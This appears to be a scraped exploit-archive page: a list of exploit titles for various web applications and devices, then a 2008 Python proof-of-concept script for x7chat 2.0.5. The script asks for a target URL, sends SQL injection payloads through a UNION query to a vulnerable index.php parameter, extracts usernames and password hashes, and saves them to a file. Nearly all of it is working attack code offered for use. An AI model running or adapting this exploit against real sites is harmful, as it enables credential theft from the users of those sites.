
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
58 lines
2.2 KiB
Python
Executable file
58 lines
2.2 KiB
Python
Executable file
#!/usr/bin/python
|
|
#
|
|
#Exploit for xchat 2.0.5
|
|
#Saca los usuarios y los hash
|
|
#By nonroot - 2008
|
|
#it's a PoC, please use responsibly
|
|
#
|
|
import string,urllib
|
|
import sys,re
|
|
print "Target host: i.e: http://127.0.0.1/x7chat/"
|
|
host=raw_input("Target host ( include http and /): ")
|
|
print "Output file: i.e: salida.txt"
|
|
out_file=raw_input("Output file: ")
|
|
print "trying ..."
|
|
SQL_users="1%20UNION%20select%20username,id,username%20from%20x7chat2_users%20--"
|
|
SQL_hashs="1%20UNION%20select%20username,id,password%20from%20x7chat2_users%20--"
|
|
link_attack=host+"index.php?act=sm_window&page=event&day="
|
|
response = urllib.urlopen(link_attack + SQL_users).read()
|
|
findall_users=re.compile("</b>(\w+)<Br><Br>").findall
|
|
found_users=findall_users(response)
|
|
if len(found_users)==0:
|
|
print "Sorry, exploit failed, please review the SQL string and try to change something like tables or wathever"
|
|
print "Or, there are not users, or x7chat software is version >= 2.0.5.1, so sorry. try to find a new bug ;)"
|
|
sys.exit()
|
|
#Find the hashs
|
|
response = urllib.urlopen(link_attack + SQL_hashs).read()
|
|
findall_hashs=re.compile("</b>(\w+)<Br><Br>").findall
|
|
found_hashs=findall_hashs(response)
|
|
if len(found_hashs)==0:
|
|
print "Sorry, exploit failed, please review the SQL string and try to change something like tables or wathever"
|
|
print "Or, there are not hashs, or x7chat software is version >= 2.0.5.1, so sorry. try to find a new bug ;)"
|
|
sys.exit()
|
|
#Save all this at file
|
|
file = open(out_file, "w")
|
|
file.write("*********************************************************************\n")
|
|
file.write("\n")
|
|
file.write("HOST:")
|
|
file.write(" ")
|
|
file.write(host)
|
|
file.write("\n")
|
|
file.write("\n")
|
|
file.write("USER HASH\n")
|
|
file.write("possible admin user: ")
|
|
file.write(found_users[0])
|
|
file.write(" ")
|
|
file.write(found_hashs[0])
|
|
file.write("\n")
|
|
for i in range(len(found_users)):
|
|
file.write(found_users[i])
|
|
file.write(" ")
|
|
file.write(found_hashs[i])
|
|
file.write("\n")
|
|
file.write("\n")
|
|
file.write("*********************************************************************\n")
|
|
file.close()
|
|
print "Successfull, please review the ",out_file," file."
|
|
|
|
# milw0rm.com [2008-01-14]
|